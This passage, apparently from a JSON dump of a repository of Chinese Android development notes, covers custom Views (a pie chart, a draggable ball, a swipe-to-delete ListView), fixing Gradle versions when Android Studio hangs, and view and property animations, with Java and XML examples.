mData.get(i);\n            sumValue += pie.getValue();\n            int j = i % mColors.length;\n            pie.setColor(mColors[j]);\n        }\n\n        float sumAngle = 0;\n        for (int i = 0; i < mData.size(); i++) {\n            PieData pie = mData.get(i);\n\n            float percentage = pie.getValue() / sumValue;  //占的百分比\n            float angle = percentage * 360;\n\n            pie.setPercentage(percentage);\n            pie.setAngle(angle);\n            sumAngle += angle;\n\n        }\n\n    }\n\n}\n\n```\n\n\n\n```java\npublic class MainActivity extends AppCompatActivity {\n\n    private PieView mPieView;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        mPieView = (PieView) findViewById(R.id.mPieView);\n\n        ArrayList<PieData> list = new ArrayList<PieData>();\n        PieData data = new PieData(\"test\",1);\n        PieData data2 = new PieData(\"test\",2);\n        PieData data3 = new PieData(\"test\",1);\n        PieData data4 = new PieData(\"test\",4);\n\n        list.add(data);\n        list.add(data2);\n        list.add(data3);\n        list.add(data4);\n\n        mPieView.setData(list);\n\n    }\n}\n```\n\n\n\n写到这里，我们的自定义view就写完了，效果如上图所示，当然这只能算是自定义view家族中最为简单的自定义view了，在之后的学习生活中吧，我打算总结一下自定义view的基本知识点，还有一些常见的问题，并且多做一些例子，大家一起讨论~\n\n\n\n[本文代码的源码链接](https://github.com/linsir6/mCustomView/tree/master/PieView)\n"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/自定义View入门.md",
    "content": "# 自定义View入门\n\n> 在Android应用开发过程中，固定的一些控件和属性可能满足不了开发的需求，所以在一些特殊情况下，我们需要自定义控件与属性。\n\n# 一、实现步骤\n\n　　\n\n1. 继承View类或其子类　\n\n2. 复写view中的一些函数\n\n3. 为自定义View类增加属性（两种方式）\n\n4. 绘制控件（导入布局）\n\n5. 响应用户事件\n\n6. 定义回调函数（根据自己需求来选择）\n\n# 二、哪些方法需要被重写\n\n　　\n\n - ``onDraw()``\n\n　　view中onDraw()是个空函数，也就是说具体的视图都要覆写该函数来实现自己的绘制。对于ViewGroup则不需要实现该函数，因为作为容器是“没有内容“的（但必须实现dispatchDraw()函数，告诉子view绘制自己）。\n\n - ``onLayout()``\n\n　　主要是为viewGroup类型布局子视图用的，在View中这个函数为空函数。\n\n - ``onMeasure()``\n\n　　用于计算视图大小（即长和宽）的方式，并通过setMeasuredDimension(width, height)保存计算结果。\n\n - ``onTouchEvent``\n\n　　定义触屏事件来响应用户操作。\n　　\n\n----\n\n还有一些不常用的方法：\n\n``onKeyDown()`` 当按下某个键盘时 　\n \n``onKeyUp()`` 当松开某个键盘时 　\n　　\n``onTrackballEvent()`` 当发生轨迹球事件时 　\n　　\n``onSizeChange()`` 当该组件的大小被改变时 　\n　　\n``onFinishInflate()`` 回调方法，当应用从XML加载该组件并用它构建界面之后调用的方法 　\n　　\n``onWindowFocusChanged(boolean)`` 当该组件得到、失去焦点时 　\n\n``onAttachedToWindow()`` 当把该组件放入到某个窗口时 　\n　　\n``onDetachedFromWindow()`` 当把该组件从某个窗口上分离时触发的方法 　\n　　\n``onWindowVisibilityChanged(int)`` 当包含该组件的窗口的可见性发生改变时触发的方法 　\n\n**View的绘制流程**\n绘制流程函数调用关系如下图：\n\n![这里写图片描述](http://img.blog.csdn.net/20160617150747985) \n\n我们调用requestLayout()的时候，会触发measure 和 layout 过程，调用invalidate,会执行 draw 过程。\n\n# 三.自定义控件的三种方式\n\n  　　\n\n １. 继承已有的控件\n\n　　当要实现的控件和已有的控件在很多方面比较类似, 通过对已有控件的扩展来满足要求。\n\n ２. 继承一个布局文件\n\n　　一般用于自定义组合控件，在构造函数中通过inflater和addView()方法加载自定义控件的布局文件形成图形界面（不需要onDraw方法）。\n\n３.继承view\n\n　　通过onDraw方法来绘制出组件界面。\n\n# 四.自定义属性的两种方法\n\n１．在布局文件中直接加入属性，在构造函数中去获得。\n\n\n布局文件：\n\n```\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    >\n     <com.example.demo.myView\n         android:layout_width=\"wrap_content\"\n         android:layout_height=\"wrap_content\" \n         Text=\"@string/hello_world\"\n         />\n</RelativeLayout>\n\n```\n获取属性值：\n\n```\npublic myView(Context context, AttributeSet attrs) {\n\t\tsuper(context, attrs);\n\t\t// TODO Auto-generated constructor stub\nint textId = attrs.getAttributeResourceValue(null, \"Text\", 0);\nString text = context.getResources().getText(textId).toString();\n\t}\n```\n\n２．在res/values/ 下建立一个attrs.xml 来声明自定义view的属性。\n\n\n可以定义的属性有：\n\n```\n<declare-styleable name = \"名称\"> \n//参考某一资源ID (name可以随便命名)\n<attr name = \"background\" format = \"reference\" /> \n//颜色值 \n<attr name = \"textColor\" format = \"color\" /> \n//布尔值\n<attr name = \"focusable\" format = \"boolean\" /> \n//尺寸值 \n<attr name = \"layout_width\" format = \"dimension\" /> \n//浮点值 \n<attr name = \"fromAlpha\" format = \"float\" /> \n//整型值 \n<attr name = \"frameDuration\" format=\"integer\" /> \n//字符串 \n<attr name = \"text\" format = \"string\" /> \n//百分数 \n<attr name = \"pivotX\" format = \"fraction\" /> \n\n//枚举值 \n<attr name=\"orientation\"> \n<enum name=\"horizontal\" value=\"0\" /> \n<enum name=\"vertical\" value=\"1\" /> \n</attr> \n\n//位或运算 \n<attr name=\"windowSoftInputMode\"> \n<flag name = \"stateUnspecified\" value = \"0\" /> \n<flag name = \"stateUnchanged\" value = \"1\" /> \n</attr> \n\n//多类型\n<attr name = \"background\" format = \"reference|color\" /> \n</declare-styleable> \n```\n\n - attrs.xml进行属性声明\n\n　　\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <declare-styleable name=\"myView\">\n        <attr name=\"text\" format=\"string\"/>\n        <attr name=\"textColor\" format=\"color\"/>\n    </declare-styleable>\n</resources>\n\n```\n\n - 添加到布局文件\n\n　　\n\n```\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    xmlns:myview=\"http://schemas.android.com/apk/com.example.demo\"\n    >\n     <com.example.demo.myView\n         android:layout_width=\"wrap_content\"\n         android:layout_height=\"wrap_content\" \n         myview:text = \"test\"\n         myview:textColor =\"#ff0000\"\n         />\n</RelativeLayout>\n\n```\n这里注意命名空间：\nxmlns:前缀=\"http://schemas.android.com/apk/res/包名(或res-auto)\"，\n \n前缀:TextColor　使用属性。\n\n - 在构造函数中获取属性值\n\n　　\n\n```\npublic myView(Context context, AttributeSet attrs) {\n\t\tsuper(context, attrs);\n\t\t// TODO Auto-generated constructor stub\n\t\tTypedArray a = context.obtainStyledAttributes(attrs, R.styleable.myView); \n\t\tString text = a.getString(R.styleable.myView_text); \n\t\tint textColor = a.getColor(R.styleable.myView_textColor, Color.WHITE); \n\t\t\n\t\ta.recycle();\n\t}\n```\n\n　或者：\n\n　\n\n```\n\tpublic myView(Context context, AttributeSet attrs) {\n\t\tsuper(context, attrs);\n\t\t// TODO Auto-generated constructor stub\n\t\tTypedArray a = context.obtainStyledAttributes(attrs, R.styleable.myView); \n\t\tint n = a.getIndexCount();\n\t\tfor(int i=0;i<n;i++){\n\t\t\tint attr = a.getIndex(i);\n\t\t\tswitch (attr) {\n\t\t\tcase R.styleable.myView_text:\n\t\t\t\t\n\t\t\t\tbreak;\n\n\t\t\tcase R.styleable.myView_textColor:\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t   a.recycle();\n\t}\n```\n\n# 五. 自定义随手指移动的小球(小例子)\n\n\n<img src=\"http://img.blog.csdn.net/20160503143613554\" width=\"210\" height=\"334\" />\n\n\n实现上面的效果我们大致需要分成这几步\n\n - 在res/values/ 下建立一个attrs.xml 来声明自定义view的属性\n - 一个继承View并复写部分函数的自定义view的类\n - 一个展示自定义view 的容器界面 \n\n1.自定义view命名为myView，它有一个属性值，格式为color:\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <declare-styleable name=\"myView\">\n        <attr name=\"TextColor\" format=\"color\"/>\n    </declare-styleable>        \n</resources>\n```\n\n2.在构造函数获取获得view的属性配置和复写onDraw和onTouchEvent函数实现绘制界面和用户事件响应。\n\n```\npublic class myView extends View{\n    //定义画笔和初始位置\n    Paint p = new Paint();\n    public float currentX = 50;\n    public float currentY = 50;\n    public int textColor;\n\n    public myView(Context context, AttributeSet attrs) {\n        super(context, attrs);\n        //获取资源文件里面的属性，由于这里只有一个属性值，不用遍历数组，直接通过R文件拿出color值\n        //把属性放在资源文件里，方便设置和复用\n        TypedArray array = context.obtainStyledAttributes(attrs,R.styleable.myView);\n        textColor = array.getColor(R.styleable.myView_TextColor,Color.BLACK);\n        array.recycle();\n    }\n\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        //画一个蓝色的圆形\n        p.setColor(Color.BLUE);\n        canvas.drawCircle(currentX,currentY,30,p);\n        //设置文字和颜色，这里的颜色是资源文件values里面的值\n        p.setColor(textColor);\n        canvas.drawText(\"BY finch\",currentX-30,currentY+50,p);\n    }\n\n    @Override\n    public boolean onTouchEvent(MotionEvent event) {\n\n\n        currentX = event.getX();\n        currentY = event.getY();\n        invalidate();//重新绘制图形\n        return true;\n    }\n}\n```\n\n　　这里通过不断的更新当前位置坐标和重新绘制图形实现效果，要注意的是使用TypedArray后一定要记得recycle(). 否则会对下次调用产生影响。\n　　![这里写图片描述](http://img.blog.csdn.net/20160503144335969)　\n\n\n３．把myView加入到activity_main.xml布局里面\n\n　　\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    xmlns:myview=\"http://schemas.android.com/apk/res-auto\"\n    android:paddingBottom=\"@dimen/activity_vertical_margin\"\n    android:paddingLeft=\"@dimen/activity_horizontal_margin\"\n    android:paddingRight=\"@dimen/activity_horizontal_margin\"\n    android:paddingTop=\"@dimen/activity_vertical_margin\"\n    tools:context=\"finch.scu.cn.myview.MainActivity\">\n\n\n    <finch.scu.cn.myview.myView\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        myview:TextColor=\"#ff0000\"\n        />\n</RelativeLayout>\n```\n\n４．最后是MainActivity\n\n```\npublic class MainActivity extends AppCompatActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n    }\n}\n```\n\n - 具体的view要根据具体的需求来，比如我们要侧滑删除的listview我们可以继承listview，监听侧滑事件，显示删除按钮实现功能。\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/自定义view——sideslipListView.md",
    "content": "> 实现了一个可侧滑删除的listView，这个view是一个继承自listView的自定义view，\n实现侧滑删除，可以通过很多种方式，今天我介绍的方式是通过PopupWindow的方式来实现的。\n\n## 效果图\n\n![效果图1](http://upload-images.jianshu.io/upload_images/2585384-edf8ca8c22425b0c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n![效果图2](http://upload-images.jianshu.io/upload_images/2585384-4a54ac41d8d7d067.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n## 思路\n当一个listView在屏幕上显示的时候，它上面(屏幕上面)发生的各种事件，我们是可以捕捉到的，我们只需要判断一下是不是我们需要的事件，如果是的话，就产生反馈，对事件进行处理，否则就不处理即可。\n当我们发现用户是在一个item上面产生了滑动事件，并且是从右向左滑，并且满足我们对有效滑动长度的定义的话，那么这次事件我们就判断是有效的，我们就计算到相应的位置，并且产生相应的删除的按钮就可以了。\n当我们发现用户的单击事件的时候，我们就让删除的按钮消失就可以了。\n\n实现思路来自于：[鸿洋的博客](www.zhanghongyang.com)\n\n\n## 实现代码\n\n```\n/**\n *  Created by linSir \n *  date at 2017/5/1.\n *  describe: listView，主要是实现可以侧滑删除\n */\n\npublic class MyListView extends ListView {\n\n    private static final String TAG = MyListView.class.getSimpleName();\n\n    private int touchSlop;  //用户滑动的最小距离\n    private boolean isSliding;  //是否相应滑动\n    private int xDown;  //按下的x坐标\n    private int yDown;  //按下的y坐标\n    private int xMove;  //手指移动时x的坐标\n    private int yMove;  //手指移动是y的坐标\n    private LayoutInflater mInflater;   //一个layoutInflater\n    private PopupWindow mPopupWindow;   //弹出一个用于展示的popupWindow\n    private int mPopupWindowHeight;     //该展示的popupWindow的高度\n    private int mPopupWindowWidth;      //该展示的popupWindow的宽度\n\n    private TextView delete;    //侧滑后删除的按钮\n    private DeleteClickListener mListener;  //点击删除后回调的接口\n    private View mCurrentView;  //当前展示删除按钮的view\n    private int mCurrentViewPos;    //当前展示删除按钮的view的位置(下标)\n\n    /**\n     * 该自定义view的构造方法\n     */\n    public MyListView(Context context, @Nullable AttributeSet attrs) {\n        super(context, attrs);\n        mInflater = LayoutInflater.from(context);   //一个Inflater\n        touchSlop = ViewConfiguration.get(context).getScaledTouchSlop();    //最小的滑动距离\n\n        View view = mInflater.inflate(R.layout.delete_btn, null);   //找到删除按钮的view\n        delete = (TextView) view.findViewById(R.id.delete);     //找到删除按钮的控件\n\n\n        mPopupWindow = new PopupWindow(view, LinearLayout.LayoutParams.WRAP_CONTENT,\n                LinearLayout.LayoutParams.WRAP_CONTENT);    //弹出的popupWindow\n\n        mPopupWindow.getContentView().measure(0, 0);    //初始化\n        mPopupWindowHeight = mPopupWindow.getContentView().getMeasuredHeight(); //获取到该view的高度\n        mPopupWindowWidth = mPopupWindow.getContentView().getMeasuredWidth();   //获取到该view的宽度\n    }\n\n    /**\n     * 触摸事件的派发\n     */\n    @Override public boolean dispatchTouchEvent(MotionEvent ev) {\n\n        int action = ev.getAction();\n        int x = (int) ev.getX();\n        int y = (int) ev.getY();\n\n        switch (action) {\n            case MotionEvent.ACTION_DOWN:   //action_down 即点击事件，这个时候需要关闭popupWindow\n                xDown = x;\n                yDown = y;\n\n                if (mPopupWindow.isShowing()) {\n                    dismissPopWindow();\n                    return false;\n                }\n\n                mCurrentViewPos = pointToPosition(xDown, yDown);    //根据x,y坐标获取到自己的下标\n                View view = getChildAt(mCurrentViewPos - getFirstVisiblePosition());//当前可见view的小标减去第一个可见的view的下标就可以找到当前的这个view\n                mCurrentView = view;\n\n                break;\n\n            case MotionEvent.ACTION_MOVE:   //当发生移动时间的时候\n                xMove = x;\n                yMove = y;\n                int dx = xMove - xDown;\n                int dy = yMove - yDown;\n\n                if (xMove < xDown && Math.abs(dx) > touchSlop && Math.abs(dy) < touchSlop) { //判断向左滑动，并且滑动了一定距离\n                    isSliding = true;   //满足这个条件就符合了打开的popupWindow的条件\n                }\n                break;\n        }\n\n        return super.dispatchTouchEvent(ev);\n\n    }\n\n\n    @Override public boolean onTouchEvent(MotionEvent ev) {\n\n        if (mCurrentView == null) {     //判断当前的view不存在之后，则直接return不进行处理这次时间\n            return false;\n        }\n\n        int action = ev.getAction();\n\n        if (isSliding) {\n            switch (action) {\n                case MotionEvent.ACTION_MOVE:\n                    int[] location = new int[2];\n                    mCurrentView.getLocationOnScreen(location);\n                    mPopupWindow.update();\n\n                    delete.setHeight(getMeasuredHeight()/getChildCount());   //计算出来每一个条目的高度\n\n                    mPopupWindow.showAtLocation(mCurrentView, Gravity.LEFT | Gravity.TOP,\n                            location[0] + mCurrentView.getWidth(), location[1] + mCurrentView.getHeight() / 2\n                                    - mPopupWindowHeight );     //设置显示的位置\n\n                    delete.setOnClickListener(new OnClickListener() {\n                        @Override public void onClick(View view) {\n                            if (mListener != null) {\n                                mListener.onClickDelete(mCurrentViewPos);\n                                mPopupWindow.dismiss();\n                            }\n                        }\n                    });\n\n                    break;\n\n                case MotionEvent.ACTION_UP:\n                    isSliding = false;\n\n                    break;\n            }\n\n\n            return true;\n        }\n        return super.onTouchEvent(ev);\n\n    }\n\n\n    private void dismissPopWindow() {\n        if (mPopupWindow != null && mPopupWindow.isShowing()) {\n            mPopupWindow.dismiss();\n        }\n\n    }\n\n\n    public void setDelButtonClickListener(DeleteClickListener listener) {\n        mListener = listener;\n    }\n\n}\n```\n\n```\n/**\n *  Created by linSir \n *  date at 2017/5/1.\n *  describe: 用于点击删除按钮的回调     \n */\n\npublic interface DeleteClickListener {\n\n    void onClickDelete(int position);\n\n}\n\n```\n\n```\n//测试用例\n\npublic class MainActivity extends AppCompatActivity {\n\n    private MyListView mListView;\n    private ArrayAdapter<String> mAdapter;\n    private List<String> mDatas;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n        mListView = (MyListView) findViewById(R.id.id_listview);\n        mDatas = new ArrayList<String>(Arrays.asList(\"111\", \"222\", \"333\", \"444\", \"555\", \"666\",\n                \"777\", \"888\", \"999\", \"000\"));\n        mAdapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, mDatas);\n        mListView.setAdapter(mAdapter);\n\n        mListView.setDelButtonClickListener(new DeleteClickListener() {\n            @Override public void onClickDelete(int position) {\n                Toast.makeText(MainActivity.this, position + \" : \" + mAdapter.getItem(position), Toast.LENGTH_SHORT).show();\n                mAdapter.remove(mAdapter.getItem(position));\n\n            }\n        });\n\n        mListView.setOnItemClickListener(new AdapterView.OnItemClickListener() {\n            @Override\n            public void onItemClick(AdapterView<?> parent, View view, int position, long id) {\n                Toast.makeText(MainActivity.this, position + \" : \" + mAdapter.getItem(position), Toast.LENGTH_SHORT).show();\n            }\n        });\n    }\n}\n```\n\n```\n//主界面布局文件\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n              android:layout_width=\"match_parent\"\n              android:layout_height=\"match_parent\"\n              android:orientation=\"vertical\"\n    >\n\n  <com.dotengine.linsir.myrecyclerview.MyListView\n      android:id=\"@+id/id_listview\"\n      android:layout_width=\"match_parent\"\n      android:layout_height=\"wrap_content\">\n\n\n  </com.dotengine.linsir.myrecyclerview.MyListView>\n\n</LinearLayout>\n\n```\n\n```\n//删除按钮的布局\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n              android:layout_width=\"wrap_content\"\n              android:layout_height=\"wrap_content\">\n\n    <TextView\n        android:id=\"@+id/delete\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:text=\"删除\"\n        android:textSize=\"18sp\"\n        android:gravity=\"center\"\n        android:textColor=\"#FFF\"\n        android:background=\"#b4f72626\"\n        android:paddingLeft=\"12dp\"\n        android:paddingRight=\"12dp\"\n        />\n\n</LinearLayout>\n\n```\n\n----\n以上便是这次分享的自定义view，最近一直在看自定义view，还有事件传递机制这里，也写了很多测试程序，有空的时候会分享出来的~然后再强调一下，本文的全部思路来自于[张鸿洋的博客](www.zhanghongyang.com)。\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/AndroidStudio导入工程一直在Building的解决方案.md",
    "content": "# Android导入项目一直在Building的解决方案\n\n这种问题的发生的场景，一般是因为项目中的gradle的版本，或者sdk的版本我们本地环境中没有，所以需要先下载，然后才能导入，但是下载起来又特别的慢，所以我们需要修改一下待导入项目中用的配置。\n\n我们可以找一个，我们可以运行的项目，然后将这些配置替换掉。\n\n1.修改待倒入项目的gradle版本\n\n找到 ``项目名称/gradle/wrapper/gradle-wrapper.properties``\n将 ``distributionUrl=...`` 这一行，修改成我们已知项目一样即可\n\n\n2.修改 ``项目名称/app/build.gradle``\n将 ``targetSdkVersion`` 和 ``buildToolsVersion``  和``compileSdkVersion``修改成和我们能跑起来项目一样就可以了。\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/Android中的动画.md",
    "content": "# Android动画\n\n本文为转载文章：原文地址：https://github.com/CharonChui/AndroidNote\n\n\n1. AlphaAnimation\n\n    ```java\n    RelativeLayout rl_splash = (RelativeLayout) findViewById(R.id.rl_splash);\n    //播放动画效果\n    AlphaAnimation animation = new AlphaAnimation(1.0f, 0.0f);\n    //设置Alpha动画的持续时间\n    animation.setDuration(2000);\n    //播放Alpha动画\n    rl_splash.setAnimation(animation);\n    ```\n\n2. RotateAnimation\n\n    ```java\n    //相对于自身的哪个位置旋转，这里是相对于自身的右下角\n    RotateAnimation ra = new RotateAnimation(0, 360,  //从哪旋转，旋转多少度\n            Animation.RELATIVE_TO_SELF, 1.0f, Animation.RELATIVE_TO_SELF,\n            1.0f);\n    ra.setDuration(800);\n    ra.setRepeatCount(Animation.INFINITE);\n    ra.setRepeatMode(Animation.RESTART);\n    iv_scan.startAnimation(ra);\n     ```\n3. ScaleAnimation(缩放动画)    \n     \n    ```java \n    ScaleAnimation(float fromX, float toX, float fromY, float toY) \n    Constructor to use when building a ScaleAnimation from code\n    ```\n\n4. TranslateAnimation(位移动画)     \n    \n    ```java\n    TranslateAnimation(int fromXType, float fromXValue, int toXType, float toXValue, int fromYType, float fromYValue, int toYType, float toYValue) \n    Constructor to use when building a TranslateAnimation from code\n    ```\n\n5. AnimationSet (多组动画)\n    \n    ```java\n    ScaleAnimation sa = new ScaleAnimation(0.2f, 1.0f, 0.4f,1.0f);//缩放的动画效果,1.0f就代表窗体的总宽或者高\n    sa.setDuration(400);\n    TranslateAnimation ta = new TranslateAnimation(//位移动的动画效果\n              Animation.RELATIVE_TO_SELF, 0,//指定这个位置是相对于谁\n              Animation.RELATIVE_TO_SELF, 0.1f,\n              Animation.RELATIVE_TO_SELF, 0,\n              Animation.RELATIVE_TO_SELF, 0);\n    ta.setDuration(300);\n    AnimationSet set = new AnimationSet(false);//如果想播放多种动画的组合，这里就要用到了AnimationSet\n    set.addAnimation(sa);\n    set.addAnimation(ta);\n    contentView.startAnimation(set); // 播放一组动画. \n    ```\n\n6. Frame动画    \n    在`SDK`中提到，不要在`onCreate`中调用`start`方法开始播放`Frame`动画，因为`AnimationDrawable`还没有完全跟`Window`相关联，如果想要界面显示时就开始播放帧动画的话，可以在`onWindowFocusChanged()`中调用`start()`。\n\n    - 在`drawable`目录下新建一个`xml`文件，内容如下:\n    \n        ```xml\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <animation-list xmlns:android=\"http://schemas.android.com/apk/res/android\"\n            android:oneshot=\"true\" > //onshot是指定是否循环播放\n            <item\n                android:drawable=\"@drawable/desktop_rocket_launch_1\"  //Frame动画的图片\n                android:duration=\"50\"/> //播放这个图片持续的时间\n            <item\n                android:drawable=\"@drawable/desktop_rocket_launch_2\"\n                android:duration=\"100\"/>\n        </animation-list>\n        ```\n    - 播放Frame动画\n    \n        ```java\n        AnimationDrawable rocketAnimation;\n        public void onCreate(Bundle savedInstanceState) {\n              super.onCreate(savedInstanceState);\n              setContentView(R.layout.main);\n              ImageView rocketImage = (ImageView) findViewById(R.id.iv);\n              rocketImage.setBackgroundResource(R.drawable.animlist); //将上边建的Frame动画的xml文件通过背景资源设置给图片\n              rocketAnimation = (AnimationDrawable) rocketImage.getBackground();  //获取到图片的背景资源\n        }\n        public void start(View view) {\n              if (!rocketAnimation.isRunning()) {\n                   rocketAnimation.start();  //播放\n              }\n        }\n        ```\n        \n7. 保持动画播放完成后的状态`animation.setFillAfter(true);`   \n\n    ```java\n    Interpolator //定义了动画的变化速度，可以实现匀速、正加速、负加速、无规则变加速度\n    AccelerateDecelerateInterpolator//先加速后减速。\n    AccelerateInterpolator//逐渐加速。    \n    LinearInterpolator//平稳不变的   \n    DecelerateInterpolator//逐渐减速\n    CycleInterpolator//曲线运动特效，要传递float型的参数。     \n    animation.setInterpolator(new LinearInterpolator());//指定动画的运行效果\n    ```\n\n上面所讲的动画都是`Android 3.0`之前的动画，也就是我们最先熟悉的`Frame`动画和`Tween`动画。\n\n从`3.0`开始又引入了一个新的动画叫做`Property`动画。并且针对这三种动画的动画模式分为:\n\n- `Property Animation` : 属性动画,从`Android 3.0`开始引进，更改的是对象的实际属性，而且属性动画不止可以应用于`View`还可以应用于任何对象。\n- `View Animation` : 指之前的`Tween`动画，`alpha scale translate rotate`等。为什么叫做`View Animation`呢？因为它只能应用于`View`对象，而且只支持一部分属性，如支持缩放旋转而不支持背景颜色的变化。对于`View Animation`而言，它只改变了`View`对象绘制的位置，而没有改变`View`对象本身的属性，比如，有一个200*200大小的`Button`，你用`Tween`动画给放大到500*500但是它的有效点击区域还是200*200。\n- `Drawable Animation` : 指之前的`Frame`动画。因为它是通过一帧帧的图片来播放的。\n    \n下面我们开始仔细讲解一下`Property Animation`\n---\n\n官方文档中是这样这样介绍属性动画的:      \n\n```\nThe property animation system is a robust framework that allows you to animate almost anything. You can define an animation to change any object property over time, regardless of whether it draws to the screen or not. A property animation changes a property's (a field in an object) value over a specified length of time. To animate something, you specify the object property that you want to animate, such as an object's position on the screen, how long you want to animate it for, and what values you want to animate between.\n```\n一个强大的框架。    \n\n在`Property Animation`中，可以对动画应用以下属性:   \n\n- `Duration`: 指定动画持续时间，默认时间是`300ms`      \n- `TimeInterpolation`: 一些效果，如加速、加速等。\n- `Repeat count and behavior `: 重复次数已经\n- `Animation Set`: 动画合集。用来同时或者顺序播放多个动画。\n- `Frame Refresh Delay`: 多长时间刷新一次，默认是`10ms`。\n\n###`ValueAnimator`    \n\n\n`ValueAnimator`包含`Property Animation`动画的所有核心功能，如动画时间，开始、结束属性值，相应时间属性值计算方法等。应用`Property Animation`有两个步聚：       \n\n- 计算属性值\n- 根据属性值执行相应的动作，如改变对象的某一属性。\n\n`ValuAnimiator`只完成了第一步工作，如果要完成第二步，需要实现`ValueAnimator.onUpdateListener`接口，这个接口只有一个函数`onAnimationUpdate()`，在这个函数中会传入`ValueAnimator`对象做为参数，通过这个`ValueAnimator`对象的`getAnimatedValue()`函数可以得到当前的属性值。\n\n### `ObjectAnimator`   \n\n继承自`ValueAnimator`，要指定一个对象及该对象的一个属性，当属性值计算完成时自动设置为该对象的相应属性，即完成了`Property Animation`的全部两步操作。实际应用中一般都会用`ObjectAnimator`来改变某一对象的某一属性，但用`ObjectAnimator`有一定的限制，要想使用`ObjectAnimator`，应该满足以下条件：\n\n- 对象应该有一个`setter`函数：`set<PropertyName>`（驼峰命名法）\n- 如上面的例子中，像`ofFloat`之类的工场方法，第一个参数为对象名，第二个为属性名，后面的参数为可变参数，如果`values…`参数只设置了一个值的话，那么会假定为目的值，属性值的变化范围为当前值到目的值，为了获得当前值，该对象要有相应属性的`getter`方法：`get<PropertyName>`\n- 如果有`getter`方法，其应返回值类型应与相应的`setter`方法的参数类型一致。\n- `object`的`setXxx`对属性`xxx`所做的改变必须能够通过某种方法反映出来，比如会带来`ui`的改变啥的（如果这条不满足，动画无效果）,例如我对`TextView`或者`Button`使用`width`的`ObjectAnimator`动画，就会发现无效，虽然他们都有`setWidth`和`getWidth`方法，但是`setWidth`方法的内部实现是改变`TextView`的最大宽度和最小宽度的，和`TextView`的宽度不是一个东西。所以动画就会无效。确切的说`TextView`的宽度对应的是`xml`中`android:layout_width`属性，而`TextView`还有另外一个属性:`android:width`，而`android:width` 属性对应的就是`TextView`中的`setWidth`方法。\n\n如果上述条件不满足，则不能用`ObjectAnimator`，应用`ValueAnimator`代替。\n也就是说`ObjectAnimator`内部的工作机制是通过寻找特定属性的`get`和`set`方法，然后通过方法不断地对值进行改变，从而实现动画效果的。\n\n### `AnimationSet`\n\n\n`AnimationSet`提供了一个把多个动画组合成一个组合的机制，并可设置组中动画的时序关系，如同时播放，顺序播放等。\n\n以下例子同时应用5个动画:   \n\n- Plays bounceAnim.\n- Plays squashAnim1, squashAnim2, stretchAnim1, and stretchAnim2 at the same time.\n- Plays bounceBackAnim.\n- Plays fadeAnim.\n\n```java\nAnimatorSet bouncer = new AnimatorSet();\nbouncer.play(bounceAnim).before(squashAnim1);\nbouncer.play(squashAnim1).with(squashAnim2);\nbouncer.play(squashAnim1).with(stretchAnim1);\nbouncer.play(squashAnim1).with(stretchAnim2);\nbouncer.play(bounceBackAnim).after(stretchAnim2);\nValueAnimator fadeAnim = ObjectAnimator.ofFloat(newBall, \"alpha\", 1f, 0f);\nfadeAnim.setDuration(250);\nAnimatorSet animatorSet = new AnimatorSet();\nanimatorSet.play(bouncer).before(fadeAnim);\nanimatorSet.start();\n```\n\n### TypeEvalutors\n\n\n根据属性的开始、结束值与`TimeInterpolation`计算出的比例值来计算当前时间对应的属性值，`Android`提供了一下几种`evalutor`:    \n\n- `IntEvalutor`:`int`类型的属性值\n- `FloatEvaluator`:\n- `ArgbEvaluator`: 属性的值类型为十六进制颜色值；\n- `TypeEvaluator`: 一个接口，可以通过实现该接口自定义Evaluator。\n自定义`TypeEvaluator`也很简单，只需要实现一个方法，如`FloatEvalutor`的定义:     \n```java\npublic class FloatEvaluator implements TypeEvaluator {\n    public Object evaluate(float fraction, Object startValue, Object endValue) {\n        float startFloat = ((Number) startValue).floatValue();\n        return startFloat + fraction * (((Number) endValue).floatValue() - startFloat);\n    }\n}\n```\n`evaluate()`方法当中传入了三个参数，第一个参数`fraction`非常重要，这个参数用于表示动画的完成度的，我们应该根据它来计算当前动画的值应该是多少，第二第三个参数分别表示动画的初始值和结束值。那么上述代码的逻辑就比较清晰了，用结束值减去初始值，算出它们之间的差值，然后乘以`fraction`这个系数，再加上初始值，那么就得到当前动画的值了。\n\n\n### `TimeInterplator`   \nTime interplator定义了属性值变化的方式，如线性均匀改变，开始慢然后逐渐快等。在Property Animation中是TimeInterplator，在View 